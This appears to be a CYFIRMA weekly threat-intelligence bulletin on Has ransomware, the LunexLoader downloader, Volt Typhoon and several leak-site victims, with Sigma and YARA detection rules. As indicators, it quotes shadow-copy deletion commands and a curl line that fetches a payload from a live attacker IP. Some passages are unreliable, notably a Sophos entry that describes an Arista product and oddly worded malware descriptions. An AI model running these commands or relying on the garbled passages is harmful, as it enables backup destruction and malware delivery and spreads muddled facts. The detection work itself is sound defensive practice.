Ransomware In Focus
CYFIRMA Research and Advisory Team would like to highlight ransomware trends and insights gathered while monitoring various forums. This includes multiple – industries, geography, and technology – that could be relevant to your organization.
Type: Ransomware
Target Technologies: Windows OS
Introduction:
CYFIRMA Research and Advisory Team has found Has Ransomware while monitoring various underground forums as part of our Threat Discovery Process.
Has Ransomware
Has is a file-encrypting ransomware variant belonging to the Dharma ransomware family. It encrypts files stored on the compromised system and modifies their filenames by appending a unique victim identifier, the attackers’ email address, and the .has extension. The resulting naming pattern follows the structure [original_filename].[victim_ID].[email_address].has; for example, 1.jpg is renamed to 1.jpg.id-12345.[[email protected]].has. The malware uses the victim ID 12345 in the observed infection and establishes contact details within the encrypted filenames. In addition to file encryption, the ransomware claims to have exfiltrated data from the compromised environment and uses the threat of disclosing the allegedly stolen information as an additional extortion mechanism. Following encryption, it generates a text-based ransom note named info.txt and displays a separate pop-up window containing further payment and communication instructions.
Screenshot: File encrypted by ransomware (Source: Surface Web)
The info.txt ransom note informs victims that their files have been encrypted and provides two email addresses, [email protected] and [email protected], for contacting the attackers to obtain decryption instructions. The pop-up ransom window provides more extensive details, directing victims to contact the primary email address and use the secondary address if no response is received within 12 hours. It also offers free decryption of up to three files as proof of the attackers’ claimed decryption capability, provided their combined size remains below 3 MB and they do not contain sensitive information, such as databases, backups, or large spreadsheets. Furthermore, the message claims that some victim data has been downloaded and threatens to transfer it to third parties if the ransom demand is not met, citing potential financial penalties, legal consequences, and reputational damage. The attackers additionally instruct victims not to rename encrypted files or attempt decryption using third-party software, claiming that these actions could result in permanent data loss or increased recovery costs.
Screenshot: The appearance of Has Ransomware’s ransom note (info.txt) (Source: Surface Web)
Screenshot: The appearance of Has ransomware’s pop-up window (Source: Surface Web)
The following are the TTPs based on the MITRE Attack Framework
| Tactic | Technique ID | Technique Name |
| Execution | T1129 | Shared Modules |
| Execution | T1574 | Hijack Execution Flow |
| Persistence | T1112 | Modify Registry |
| Persistence | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| Privilege Escalation | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| Discovery | T1033 | System Owner/User Discovery |
| Discovery | T1057 | Process Discovery |
| Discovery | T1082 | System Information Discovery |
| Discovery | T1083 | File and Directory Discovery |
| Discovery | T1497 | Virtualization/Sandbox Evasion |
| Collection | T1074 | Data Staged |
| Command and Control | T1071 | Application Layer Protocol |
| Impact | T1485 | Data Destruction |
| Impact | T1486 | Data Encrypted for Impact |
| Stealth | T1027.002 | Obfuscated Files or Information: Software Packing |
| Stealth | T1036 | Masquerading |
| Stealth | T1070.004 | Indicator Removal: File Deletion |
| Stealth | T1202 | Indirect Command Execution |
| Stealth | T1497 | Virtualization/Sandbox Evasion |
| Stealth | T1564.001 | Hide Artifacts: Hidden Files and Directories |
| Stealth | T1574 | Hijack Execution Flow |
| Defense Impairment | T1553.002 | Subvert Trust Controls: Code Signing |
| Defense Impairment | T1112 | Modify Registry |
Relevancy and Insights:
The ransomware primarily targets Windows environments, utilizing Windows services, command-line utilities, registry configurations, system APIs, and filesystem operations to perform encryption, system modification, and recovery-inhibition activities.
The ransomware terminates processes such as vssadmin.exe Delete Shadows /all /quiet and wmic shadowcopy delete /nointeractive to delete Volume Shadow Copies, which are used by Windows for backup and restore. By removing these shadow copies, the malware ensures that victims cannot recover their files via system restore points or backup utilities.
Detect-debug-environment: The ransomware technique is used to determine if it is being monitored in environments such as sandboxes, virtual machines, or under debugging tools. To perform this check, the malware may look for specific processes, drivers, or artifacts linked to analysis tools, measure timing to spot inconsistencies, or scan for system traits uncommon in real user machines. When such conditions are identified, the malicious program can modify its behavior such as pausing execution, shutting down, or withholding key payload actions to avoid detection and make detailed analysis more difficult.
Persistence: The ransomware exhibits continuity mechanisms to ensure its survival and ongoing vicious conditioning within the compromised terrain. This could involve creating autostart entries or modifying system settings to maintain a base and grease unborn attacks.
ETLM Assessment:
Has ransomware may evolve through modifications to its encryption routines, file-extension patterns, ransom communication mechanisms, and deployment techniques while retaining its core file-encryption functionality. Future variants may incorporate improved anti-analysis capabilities, process termination mechanisms, privilege escalation techniques, and persistence methods to complicate detection and removal. The malware may also expand its targeting of locally connected storage, shared network resources, and enterprise environments to increase the number of files affected during an infection. Additionally, its data-exfiltration capabilities may become more integrated into the attack process, enabling operators to use both file encryption and threatened data disclosure as complementary extortion methods.
Future developments may also involve changes to ransom note structures, communication channels, and victim negotiation procedures. Attackers may introduce more structured communication workflows, automated responses, customized ransom instructions, and alternative contact methods to maintain communication with affected victims. The free file-decryption mechanism may continue to serve as a demonstration of claimed recovery capabilities and a means of establishing credibility during negotiations. Furthermore, subsequent variants may employ obfuscation, modified payload structures, and adjustments to execution behaviour to evade security detection and complicate malware analysis. These are potential development scenarios based on common ransomware evolution patterns rather than confirmed changes to this particular malware.
Sigma rule:
title: Shadow Copies Deletion Using Operating Systems Utilities
tags:
– attack.impact
– attack.stealth
– attack.t1070
logsource:
category: process_creation
product: windows
detection:
selection1_img:
– Image|endswith:
– ‘\powershell.exe’
– ‘\pwsh.exe’
– ‘\wmic.exe’
– ‘\vssadmin.exe’
– ‘\diskshadow.exe’
– OriginalFileName:
– ‘PowerShell.EXE’
– ‘pwsh.dll’
– ‘wmic.exe’
– ‘VSSADMIN.EXE’
– ‘diskshadow.exe’
selection1_cli:
CommandLine|contains|all:
– ‘shadow’ # will match “delete shadows” and “shadowcopy delete” and “shadowstorage”
– ‘delete’
selection2_img:
– Image|endswith: ‘\wbadmin.exe’
– OriginalFileName: ‘WBADMIN.EXE’
selection2_cli:
CommandLine|contains|all:
– ‘delete’
– ‘catalog’
– ‘quiet’ # will match -quiet or /quiet
selection3_img:
– Image|endswith: ‘\vssadmin.exe’
– OriginalFileName: ‘VSSADMIN.EXE’
selection3_cli:
CommandLine|contains|all:
– ‘resize’
– ‘shadowstorage’
CommandLine|contains:
– ‘unbounded’
– ‘/MaxSize=’
condition: (all of selection1*) or (all of selection2*) or (all of selection3*)
falsepositives:
– Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason
– LANDesk LDClient Ivanti-PSModule (PS EncodedCommand)
level: high
(Source: Surface Web)
Indicators of Compromise
Kindly refer to the IOCs section to exercise control of your security systems.
(Source: Surface Web)
STRATEGIC RECOMMENDATION
MANAGEMENT RECOMMENDATION
TACTICAL RECOMMENDATION
Type: Downloader / Dropper
Objectives: Payload Delivery and System Compromise
Target Technology: Windows
Target Geography: Global
CYFIRMA collects data from various forums based on which the trend is ascertained. We identified a few popular malwares that were found to be distributed in the wild to launch cyberattacks on organizations or individuals.
Active Malware of the week
This week LunexLoader Malware is in focus.
Overview of Operation LunexLoader Malware
LunexLoader is a malware delivery component designed to establish an initial foothold within compromised systems and facilitate the introduction of additional malicious software. Rather than focusing primarily on direct information theft, its main purpose is to create opportunities for further malicious activity by retrieving and deploying other threats onto affected devices.
The primary concern associated with this threat lies in the potential consequences of the additional malware it introduces. Although its independent capabilities may appear limited, the delivery of secondary payloads could expose organizations to more severe threats, including unauthorized access, sensitive information compromise, and disruption of business operations.
The malware also demonstrates deliberate efforts to remain concealed and maintain access to compromised systems. Its ability to reduce traces of its activity, operate with elevated privileges, and establish mechanisms for continued execution increases the likelihood of prolonged compromise, potentially allowing malicious activity to continue without attracting immediate attention.
From an organizational perspective, this threat represents more than an isolated malware infection. Its ability to retrieve additional malicious components and maintain communication with externally controlled infrastructure creates opportunities for attackers to expand their operations over time. If left undetected, an initial compromise could develop into a broader security incident, placing organizational systems, business information, and operational continuity at risk.
Attack Method
The malware initiates its execution on a Windows system by checking for specific mutex objects, including SM0:7020:304:WilStaging_02 and SM0:7020:120:WilError_03, to identify whether an instance is already active and prevent duplicate execution. During its initial operation, it collects limited information about the host environment to determine the conditions under which it can proceed. It also incorporates environment-dependent execution checks that may cause it to modify its behavior or terminate when it encounters unfavorable conditions, potentially complicating controlled analysis.
To reduce exposure to security monitoring, malware employs memory-based execution techniques that conceal payload structures from conventional file-based inspection. Its execution behavior also involves memory and thread manipulation consistent with process injection, allowing malicious code to operate within the context of another running process. This approach can make the activity less distinguishable from legitimate system operations and potentially weaken the effectiveness of security controls that rely on examining executable files and application behavior.
The malware further establishes mechanisms to maintain its presence on the compromised system while limiting opportunities for detection and forensic investigation. It removes selected execution artifacts and event log records to hinder the reconstruction of its activities. Additionally, it employs User Account Control (UAC) bypass techniques to obtain elevated privileges without requiring obvious user interaction. These capabilities collectively support continued execution with increased system access while reducing the visibility of its actions.
Its primary operational function is to retrieve and stage additional malicious software from externally controlled infrastructure. During the observed activity, it communicated with the IP address 107[.]175[.]82[.]242 to obtain a secondary payload for subsequent execution. This delivery-oriented approach positions the malware as an intermediary within a broader infection chain, where the initial component establishes access and prepares the environment for more consequential malicious operations carried out by the downloaded payload.
Following are the TTPs based on the MITRE Attack Framework for Enterprise
| Tactic | Technique | Technique Name |
| Execution | T1059 | Command and Scripting Interpreter |
| Execution | T1129 | Shared Modules |
| Execution | T1574 | Hijack Execution Flow |
| Stealth | T1027.002 | Obfuscated Files or Information: Software Packing |
| Stealth | T1036 | Masquerading |
| Stealth | T1070.006 | Indicator Removal: Timestomp |
| Stealth | T1497.001 | Virtualization/Sandbox Evasion: System Checks |
| Stealth | T1564.003 | Hide Artifacts: Hidden Window |
| Credential Access | T1056.004 | Input Capture: Credential API Hooking |
| Discovery | T1033 | System Owner/User Discovery |
| Discovery | T1082 | System Information Discovery |
| Discovery | T1083 | File and Directory Discovery |
| Command and Control | T1071 | Application Layer Protocol |
INSIGHTS
ETLM ASSESSMENT
For ETLM perspective, the continued development of threats such as LunexLoader may increase the likelihood of more complex security incidents affecting organizations across different industries. Future variants could support more targeted attacks against business environments, potentially exposing confidential corporate information, employee identities, financial records, and internal communications to misuse. Employees may increasingly face indirect consequences through compromised work accounts, identity misuse, fraudulent communications, and unauthorized access to services associated with their professional responsibilities. As these threats become more adaptable, organizations may experience greater financial exposure, prolonged business interruptions, reputational damage, and additional pressure on their ability to maintain workforce trust and operational stability.
IOCs:
Kindly refer to the IOCs below to exercise controls on your security systems.
(Source: Open Surface)
YARA Rule
rule LunexLoader_Malware
{
meta:
description = “Detection rule for the analyzed malware sample”
author = “CYFIRMA Research”
strings:
$hash1 = “77b67682de1556268a690fdc50c15fb8150f23cd5ef25feb8ed51065dcf4a208”
$hash2 = “57f3a6aaaeabef95aa9484a6ea698c080e5562a6fd70941ed31b6986cf7f951d”
$hash3 = “48775d700cec7721ac6cbf5ff0276ada494b52f12f88556e42fc0743bbffc2f6”
$hash4 = “eed85356395295147330511690dd306cd0222a101ec933a064feb2560328546b”
$hash5 = “a9672098bd3784569085c065eb0553b2fffa57481796cadaea27ce4308de2674”
$hash6 = “f12da53d9df478d59219b506d313251292fae8052be92440622e34b8e1ca4f06”
$hash7 = “8529b5e66a8a96601c568b12543a825115f29acbeb6a0d7752cda5186753ee4c”
$hash8 = “82dfd306f4161cc8da08ce5e7434e8010f73d58d434fc0c31ef89fe8785e7f77”
$hash9 = “2a6f67733a26679da12932d45b3fb6cfa59e5c143a5d3b4ba3db570b7db8b84c”
$hash10 = “364268cf5c7637316e41bf952d0d9755b8e13fd65c5481e87324084a951080e9”
$hash11 = “f349e0c41a725e53c1d886e840902653548e4ef8d1174e8d4e3233b04c653351”
$hash12 = “9c2db806dea6a065229e07a513b5178066a473818723fe879ffa21e022e1f499”
$hash13 = “3b8cc3130a1aee8d8db9ce95d2c3def4201127ef5fe88dbe7c72787b9ae0d41c”
$hash14 = “fbd3fd6fdfd9460f54bda772b7e0b55857606a86ef6f3af62999febd12c6680b”
$hash15 = “47cd6f03f0a6b9b8feadbfc19a58d4604f34e4e98ecdfe1cdb3a2c632bba0548”
$hash16 = “d661312f94269211e2ad01bdc547af8e93365ac31af1de04bfc81a4d1e8f739a”
$hash17 = “8176f592301bafed616b011eaf1d7abdc0bd502b9c9623aab99a020775c72665”
$hash18 = “4d5aa53719682145cda213e8b06ac483e7318c864d8c2bf951a19aa27fe74768”
$hash19 = “95df0588f5ad06a1e16c7ba8e31218dff4bde8b5a1c787bd8c28f5889c533f6a”
$hash20 = “1febc52a90edf9bab1f7d29e42df29660aaef1110ca3cfb63e080672c8f988ce”
$s1 = “curl.exe -s -L –connect-timeout 10 –max-time 120 -o \”C:\\Users\\user\\AppData\\Roaming\\kf2hw7axk7ip\” \”http://107.175.82.242:9000/wilow/Vojkxom.exe”
$s2 = “C:\\Users\\user\\AppData\\Local\\Temp\\ntkrnlmp_CF32DE2E4A334C7C06FB63FCB6FAFB5C1.pdb”
$s3 = “ntkrnlmp_CF32DE2E4A334C7C06FB63FCB6FAFB5C1.pdb”
$s4 = “Vojkxom.exe”
$s5 = “107.175.82.242:9000/wilow/Vojkxom.exe”
$s6 = “LunexLoader”
condition:
any of ($hash*) or
2 of ($s*)
}
STRATEGIC RECOMMENDATION
MANAGEMENT RECOMMENDATION
TACTICAL RECOMMENDATION
Key Intelligence Signals:
Volt Typhoon: Strategic Cyber Operations and Evolving Threats
About the Threat Actor
Volt Typhoon, active since at least 2021, targets critical infrastructure across the communications, energy, transportation, and water sectors. The group prioritizes maintaining long-term access while minimizing the use of custom malware. Its tradecraft relies on living-off-the-land binaries, valid credentials, compromised SOHO routers, and native Windows tools for reconnaissance and persistence. Public reporting assesses its activity as pre-positioning for potential disruptive operations rather than immediate data theft or ransomware deployment, with multi-year dwell times observed in victim environments. Reporting from 2023–2025 indicates continued activity across continental and non-continental infrastructure, with a sustained focus on stealthy network positioning near operational technology (OT) environments.
Details on Exploited Vulnerabilities
| CVE ID | Affected Products | CVSS Score | Exploit Links |
| CVE-2025-1889 | PickleScan | 9.8 | – |
| CVE-2025-1944 | picklescan before 0.0.23 | 6.5 | – |
| CVE-2025-1945 | picklescan before 0.0.23 | 9.8 | – |
| CVE-2017-12637 | SAP NetWeaver | 7.5 | – |
| CVE-2022-27997 | FortiOS version 7.2.4 and below | 9.8 | – |
TTPs based on MITRE ATT&CK Framework
| Tactic | ID | Technique |
| Reconnaissance | T1596.005 | Search Open Technical Databases: Scan Databases |
| Reconnaissance | T1592 | Gather Victim Host Information |
| Reconnaissance | T1589 | Gather Victim Identity Information |
| Reconnaissance | T1589.002 | Gather Victim Identity Information: Email Addresses |
| Reconnaissance | T1590 | Gather Victim Network Information |
| Reconnaissance | T1590.004 | Gather Victim Network Information: Network Topology |
| Reconnaissance | T1590.006 | Gather Victim Network Information: Network Security Appliances |
| Reconnaissance | T1591.004 | Gather Victim Org Information: Identify Roles |
| Reconnaissance | T1591 | Gather Victim Org Information |
| Reconnaissance | T1593 | Search Open Websites/Domains |
| Reconnaissance | T1594 | Search Victim-Owned Websites |
| Resource Development | T1583.003 | Acquire Infrastructure: Virtual Private Server |
| Resource Development | T1584.004 | Compromise Infrastructure: Server |
| Resource Development | T1584.003 | Compromise Infrastructure: Virtual Private Server |
| Resource Development | T1584.005 | Compromise Infrastructure: Botnet |
| Resource Development | T1584.008 | Compromise Infrastructure: Network Devices |
| Resource Development | T1587.001 | Develop Capabilities: Malware |
| Resource Development | T1587.004 | Develop Capabilities: Exploits |
| Resource Development | T1588.006 | Obtain Capabilities: Vulnerabilities |
| Resource Development | T1588.002 | Obtain Capabilities: Tool |
| Initial Access | T1190 | Exploit Public-Facing Application |
| Initial Access | T1133 | External Remote Services |
| Initial Access | T1078.002 | Valid Accounts: Domain Accounts |
| Initial Access | T1078 | Valid Accounts |
| Execution | T1059.001 | Command and Scripting Interpreter: PowerShell |
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell |
| Execution | T1047 | Windows Management Instrumentation |
| Execution | T1059.003 | Command and Scripting Interpreter: Windows Command Shell |
| Persistence | T1133 | External Remote Services |
| Persistence | T1546 | Event Triggered Execution |
| Persistence | T1112 | Modify Registry |
| Persistence | T1078 | Valid Accounts |
| Persistence | T1505.003 | Server Software Component: Web Shell |
| Persistence | T1078.002 | Valid Accounts: Domain Accounts |
| Privilege Escalation | T1546 | Event Triggered Execution |
| Privilege Escalation | T1068 | Exploitation for Privilege Escalation |
| Privilege Escalation | T1055.009 | Process Injection: Proc Memory |
| Privilege Escalation | T1078 | Valid Accounts |
| Privilege Escalation | T1078.002 | Valid Accounts: Domain Accounts |
| Stealth | T1055.009 | Process Injection: Proc Memory |
| Stealth | T1140 | Deobfuscate/Decode Files or Information |
| Stealth | T1006 | Direct Volume Access |
| Stealth | T1070.004 | Indicator Removal: File Deletion |
| Stealth | T1564.013 | Hide Artifacts: Bind Mounts |
| Stealth | T1078 | Valid Accounts |
| Stealth | T1078.002 | Valid Accounts: Domain Accounts |
| Stealth | T1070.007 | Indicator Removal: Clear Network Connection History and Configurations |
| Stealth | T1036 | Masquerading |
| Stealth | T1036.004 | Masquerading: Masquerade Task or Service |
| Stealth | T1036.005 | Masquerading: Match Legitimate Resource Name or Location |
| Stealth | T1036.008 | Masquerading: Masquerade File Type |
| Stealth | T1027.002 | Obfuscated Files or Information: Software Packing |
| Stealth | T1218 | System Binary Proxy Execution |
| Stealth | T1497.001 | Virtualization/Sandbox Evasion: System Checks |
| Defense Impairment | T1112 | Modify Registry |
| Defense Impairment | T1685 | Disable or Modify Tools |
| Defense Impairment | T1685.005 | Disable or Modify Tools: Clear Windows Event Logs |
| Defense Impairment | T1222.002 | File and Directory Permissions Modification: Linux and Mac Permissions |
| Credential Access | T1555 | Credentials from Password Stores |
| Credential Access | T1555.003 | Credentials from Password Stores: Credentials from Web Browsers |
| Credential Access | T1056 | Input Capture |
| Credential Access | T1056.001 | Input Capture: Keylogging |
| Credential Access | T1003.003 | OS Credential Dumping: NTDS |
| Credential Access | T1003.001 | OS Credential Dumping: LSASS Memory |
| Credential Access | T1552 | Unsecured Credentials |
| Credential Access | T1552.004 | Unsecured Credentials: Private Keys |
| Discovery | T1083 | File and Directory Discovery |
| Discovery | T1680 | Local Storage Discovery |
| Discovery | T1654 | Log Enumeration |
| Discovery | T1046 | Network Service Discovery |
| Discovery | T1120 | Peripheral Device Discovery |
| Discovery | T1057 | Process Discovery |
| Discovery | T1518 | Software Discovery |
| Discovery | T1518.001 | Software Discovery: Security Software Discovery |
| Discovery | T1087.001 | Account Discovery: Local Account |
| Discovery | T1087.002 | Account Discovery: Domain Account |
| Discovery | T1010 | Application Window Discovery |
| Discovery | T1217 | Browser Information Discovery |
| Discovery | T1069 | Permission Groups Discovery |
| Discovery | T1069.001 | Permission Groups Discovery: Local Groups |
| Discovery | T1069.002 | Permission Groups Discovery: Domain Groups |
| Discovery | T1012 | Query Registry |
| Discovery | T1018 | Remote System Discovery |
| Discovery | T1016 | System Network Configuration Discovery |
| Discovery | T1082 | System Information Discovery |
| Discovery | T1614 | System Location Discovery |
| Discovery | T1016.001 | System Network Configuration Discovery: Internet Connection Discovery |
| Discovery | T1049 | System Network Connections Discovery |
| Discovery | T1007 | System Service Discovery |
| Discovery | T1124 | System Time Discovery |
| Discovery | T1497.001 | Virtualization/Sandbox Evasion: System Checks |
| Discovery | T1033 | System Owner/User Discovery |
| Lateral Movement | T1570 | Lateral Tool Transfer |
| Lateral Movement | T1021.001 | Remote Services: Remote Desktop Protocol |
| Collection | T1056.001 | Input Capture: Keylogging |
| Collection | T1074 | Data Staged |
| Collection | T1560.001 | Archive Collected Data: Archive via Utility |
| Collection | T1056.001 | Input Capture: Keylogging |
| Collection | T1005 | Data from Local System |
| Collection | T1074.001 | Data Staged: Local Data Staging |
| Collection | T1056 | Input Capture |
| Collection | T1113 | Screen Capture |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols |
| Command and Control | T1105 | Ingress Tool Transfer |
| Command and Control | T1573 | Encrypted Channel |
| Command and Control | T1573.001 | Encrypted Channel: Symmetric Cryptography |
| Command and Control | T1573.002 | Encrypted Channel: Asymmetric Cryptography |
| Command and Control | T1095 | Non-Application Layer Protocol |
| Command and Control | T1571 | Non-Standard Port |
| Command and Control | T1090 | Proxy |
| Command and Control | T1090.001 | Proxy: Internal Proxy |
| Command and Control | T1090.003 | Proxy: Multi-hop Proxy |
Latest Developments Observed
The threat actor is suspected of targeting strategically significant U.S. sectors, including telecommunications, government, defense, satellite communications, managed service providers, and critical infrastructure. The group reportedly leverages its “Silent Train” framework, chaining compromised SOHO, IoT, and enterprise devices to conceal operations and sustain covert access. Exploitation of zero-day vulnerabilities in network management, SD-WAN orchestration, and control-plane technologies indicates a focus on persistent access and operational resilience. The assessed strategic objective is to pre-position within critical networks for potential disruption during heightened geopolitical tensions, particularly in the Indo-Pacific region.
ETLM Insights
Volt Typhoon, a China-aligned cyber-espionage actor, continues to demonstrate a strategic focus on maintaining access to critical infrastructure and strategically significant organizations. Its evolving operational framework indicates an increasing emphasis on exploiting trusted enterprise technologies and developing covert access capabilities to support long-term strategic positioning. The group’s activities suggest that pre-positioning within critical infrastructure ecosystems will remain central to its broader operational objectives.
Looking ahead, Volt Typhoon is likely to further expand its exploitation capabilities against centralized management and network control technologies, potentially incorporating additional zero-day vulnerabilities to access strategically valuable environments. The group may continue diversifying its compromised infrastructure and refining its covert access mechanisms to improve operational resilience and reduce the risk of detection. Its sustained focus on telecommunications, defense, government, and critical infrastructure suggests that it will likely continue prioritizing environments that provide strategic access to essential services and operational ecosystems, potentially supporting disruptive operations during future geopolitical tensions or crises.
YARA Rules
import “pe”
rule Volt_Typhoon_Provided_IOCs
{
meta:
description = “Detection based on provided IP, domain and executable indicators”
author = “CYFIRMA”
file_type = “Win32 EXE / JavaScript”
related_cves = “CVE-2025-1716, CVE-2025-1889, CVE-2025-1944, CVE-2025-1945, CVE-2017-12637”
strings:
$exe1 = “o7t9eso.exe” ascii wide nocase
$exe2 = “systemhelper.exe” ascii wide nocase
$path1 = “C:\\Windows\\o7t9eso.exe” ascii wide nocase
$ip1 = “20.99.133.109” ascii wide
$ip2 = “219.133.249.210” ascii wide
$ip3 = “219.133.250.181” ascii wide
$ip4 = “219.133.248.159” ascii wide
$ip5 = “134.199.146.114” ascii wide
$ip6 = “134.199.149.144” ascii wide
$ip7 = “134.199.152.29” ascii wide
$domain1 = “clickcom.click” ascii wide nocase
$domain2 = “clicko.click” ascii wide nocase
$domain3 = “api.d-n-s.name” ascii wide nocase
$domain4 = “0dxtenvl.foxwhirl.in.net” ascii wide nocase
$domain5 = “dy-tt.com.cn” ascii wide nocase
$domain6 = “pdsguam.biz” ascii wide nocase
condition:
(
pe.is_pe and
(any of ($exe*) or $path1)
)
or
(
2 of ($ip*, $domain*)
)
}
Strategic Recommendations
Management Recommendations
Tactical Recommendations
The $6 billion Binance crypto heist attributed to North Korea
In what is likely the largest cryptocurrency heist in history, attackers drained approximately $6.3 billion from Binance wallets in a swift 20-minute window on October 29. The threat actor, identified by the FBI and blockchain intelligence firms as the North Korea-linked TraderTraitor group, compromised Binance’s hot wallet signing infrastructure after testing their attack code earlier that day.
Binance immediately halted deposits and withdrawals, ultimately freezing roughly half of the stolen funds. The exchange has committed to fully reimbursing affected users, setting aside over $6.34 billion in company reserves. Meanwhile, law enforcement agencies – including the FBI, US Secret Service, and IRS-CI – report that the hackers are converting the stolen assets primarily into Ethereum (ETH) using DeFi protocols and instant swap services. Federal authorities have published linked wallet addresses and urged node operators, exchanges, and analytics firms to block all associated transactions.
ETLM Assessment:
Pyongyang has perfected cybercrime into a tool of statecraft and a primary revenue engine. Traditional evasion routes–ship-to-ship transfers, diplomatic cover, overseas labor–remain active, but state-directed hacking now rivals the country’s entire legitimate trade. From the 2016 Bangladesh Bank theft that nearly reached a billion dollars to the WannaCry ransomware outbreak the following year, Pyongyang demonstrated that cyber operations could generate returns no smuggling scheme could match. Groups clustered around the Lazarus Group have stolen several billion dollars over the past decade through enterprise breaches, ransomware, fraudulent investment apps, ATM cash-out schemes, and the insertion of thousands of North Korean programmers into legitimate remote IT jobs under false identities.
Cryptocurrency has become the regime’s most powerful sanctions-evasion tool. The borderless, pseudonymous, and often unregulated nature of virtual assets, combined with the rise of decentralized finance, allows near-instantaneous theft and laundering. North Korean actors dominate global crypto heists: roughly $660 million in 2023, $1.34 billion in 2024, and already more than $2 billion in 2025 through October, with the single largest incident–the $1.5 billion Bybit theft–accounting for most of the annual total. Laundering chains grow ever more sophisticated, employing mixers, cross-chain bridges, disposable addresses, and rapid churn to frustrate tracing and seizure.
The international community now faces a North Korea that is richer, technologically more advanced, militarily emboldened, and far less constrained than at any time since the Cold War.
Everest Ransomware Impacts a Manufacturing Company from Japan
Summary:
CYFIRMA observed on a ransomware data leak site (DLS) on the dark web that a company from Japan was compromised by Everest Ransomware. The compromised company is a Japanese industrial manufacturing company headquartered in Hiroshima, Japan. The company specializes in designing, manufacturing, installing, and maintaining industrial expansion joints and steel plate dampers. Its products are used in power plants, factories, waste incineration facilities, and other industrial environments. The ransomware attack reportedly involved the exposure of approximately 90 GB of data, including sensitive corporate information, internal engineering documentation, proprietary technical developments, and manufacturing-related records. The compromised data reportedly includes company and business context documents, file inventories and distribution records, email communications and document links, archived project materials, internal engineering documentation catalogs, and proprietary engineering knowledge. The exposed technical information also encompasses fabric expansion joint designs, material layers, temperature conditions, geometric specifications, movement calculations, thermal protection details, leak-tightness documentation, joint testing records, manufacturing changes and developments from 2024 to 2026, engineering calculation systems, metallic material selection, heat-treatment records, material certificates, welding and inspection documentation, and CAD/CALC engineering files. The incident may expose confidential intellectual property, engineering methodologies, product designs, manufacturing processes, and technical knowledge, potentially increasing the risk of industrial espionage, intellectual property theft, and operational disruption.
The following screenshot was observed published on the dark web:
Relevancy & Insights:
ETLM Assessment:
According to CYFIRMA’s assessment, Everest ransomware continues to pose a persistent and evolving cyber threat. The group is actively broadening its targeting across new sectors, expanding its role as an initial access broker, and increasingly relying on data-leak extortion as its core operational tactic. Organizations are advised to remain vigilant by strengthening access controls, closely monitoring for lateral movement and Cobalt Strike–related activity, and maintaining robust incident response and detection capabilities to mitigate the risks posed by Everest’s ongoing campaigns.
The Gentlemen The Gentlemen Ransomware Impacts an Information Technology Company from Vietnam
Summary: CYFIRMA observed on a ransomware data leak site (DLS) on the dark web that a company from Vietnam was compromised by The Gentlemen Ransomware. The compromised company is the largest IT services company in Southeast Asia, founded in 1999 in Hanoi, Vietnam, with 1.34 billion dollars in revenue and over 33,000 employees across 31 countries. It serves 1,100 clients, including 130 Fortune Global 500 companies across automotive, banking, healthcare and energy, with Japan as its largest international market. The data, which has been breached, has not yet appeared on the leak site, indicating that negotiations between the affected party and the ransomware group may be underway. The compromised data includes confidential and sensitive information belonging to the organization.
Source: Dark Web
Relevancy & Insights:
ETLM Assessment:
According to CYFIRMA’s assessment, the Gentlemen Ransomware is a highly adaptive and globally active threat that leverages dual-extortion tactics, combining data theft with file encryption. The group employs advanced evasion and persistence techniques, supports cross-platform and scalable ransomware deployment, and conducts targeted attacks across multiple industries and geographic regions. This combination of capabilities makes it a significant risk to enterprise cybersecurity defenses, particularly for organizations with limited detection and incident-response maturity.
Vulnerability in Sophos UTM
Relevancy & Insights :
The issue is reachable through the VCO web interface with a valid session, including the lowest built-in Enterprise Read Only tenant role. Arista has confirmed active exploitation of this vulnerability.
Impact :
Successful exploitation could allow access to privileged internal functionality and affect the VCO host, compromising the confidentiality, integrity and availability of the orchestrator and the data it manages.
Affected Products:
https[:]//www[.]sophos[.]com/en-us/security-advisories/sophos-sa-20261028-utm-rce
Recommendations:
Monitoring and Detection: Implement monitoring and detection mechanisms to identify unusual system behavior that might indicate an attempted exploitation of this vulnerability.
TOP 5 AFFECTED PRODUCTS OF THE WEEK
This week, CYFIRMA researchers have observed significant impacts on various technologies due to a range of vulnerabilities. The following are the top 5 most affected technologies.
ETLM Assessment:
Vulnerability in Sophos UTM can pose significant threats to network security and firewall appliance integrity. This can impact various industries globally, including financial services, government, healthcare, and manufacturing, that rely on Sophos UTM for perimeter protection and email traffic inspection. Ensuring the security of Sophos UTM is crucial for maintaining the integrity and protection of network gateways and email security services across deployments. Therefore, addressing this vulnerability is essential to safeguarding enterprise networks, gateway reliability, and secure communications across different geographic regions and sectors.
Krybit Ransomware attacked and published the data of a Construction company from India
Summary:
Recently, we observed that Krybit Ransomware attacked and published the data of a Construction company from India on its dark web website. The compromised company is a prominent Indian real estate developer founded in 1994, headquartered in Pune, Maharashtra, India. With over 32 years of experience, the company has successfully delivered 39+ landmark residential projects across key Pune neighborhoods including Dhanori, Lohegaon, Viman Nagar, Keshavnagar, Wadgaon Sheri, Koregaon Park, and PCMC areas, specializing in 1 BHK, 1.5 BHK, 2 BHK, and 3 BHK apartments. The company focuses on timely possession, quality construction, and customer satisfaction, offering thoughtfully designed homes at competitive prices. The compromised data includes confidential and sensitive information belonging to the organization.
Source: Dark Web
Relevancy & Insights:
ETLM Assessment:
According to CYFIRMA’s assessment, Krybit represents a persistent, financially motivated Ransomware-as-a-Service (RaaS) and data extortion threat that leverages an opportunistic affiliate-driven operational model to maximize pressure on victims. Although the group functions via external threat actors incentivized by lucrative profit-sharing structures, its targeted deployment of custom malware suites across corporate environments highlights the critical importance of robust identity security, continuous network monitoring, timely vulnerability remediation, and rigorous data loss prevention measures to detect, contain, and mitigate potential ransomware extortion attacks.
Unauthorised Database and Private Files Leak Advertised on a Leak Site
Summary:
The CYFIRMA research team identified a post on a cybercrime forum advertising the alleged exposure of approximately 15 GB of data reportedly originating from a Saudi Arabian IT services provider specialising in cloud-based Enterprise Resource Planning (ERP) solutions. According to the forum advertisement, the seller claims to possess SQL database dumps and private files extracted from the organization’s internal environment. The post, published on October 30, 2026, identifies the organisation as a provider of IT and software solutions based in Riyadh, Saudi Arabia. The advertisement reportedly offers the leaked data through a session-based transaction and includes a sample download link as evidence of possession.
Based on the information displayed in the forum advertisement, the allegedly exposed data may include:
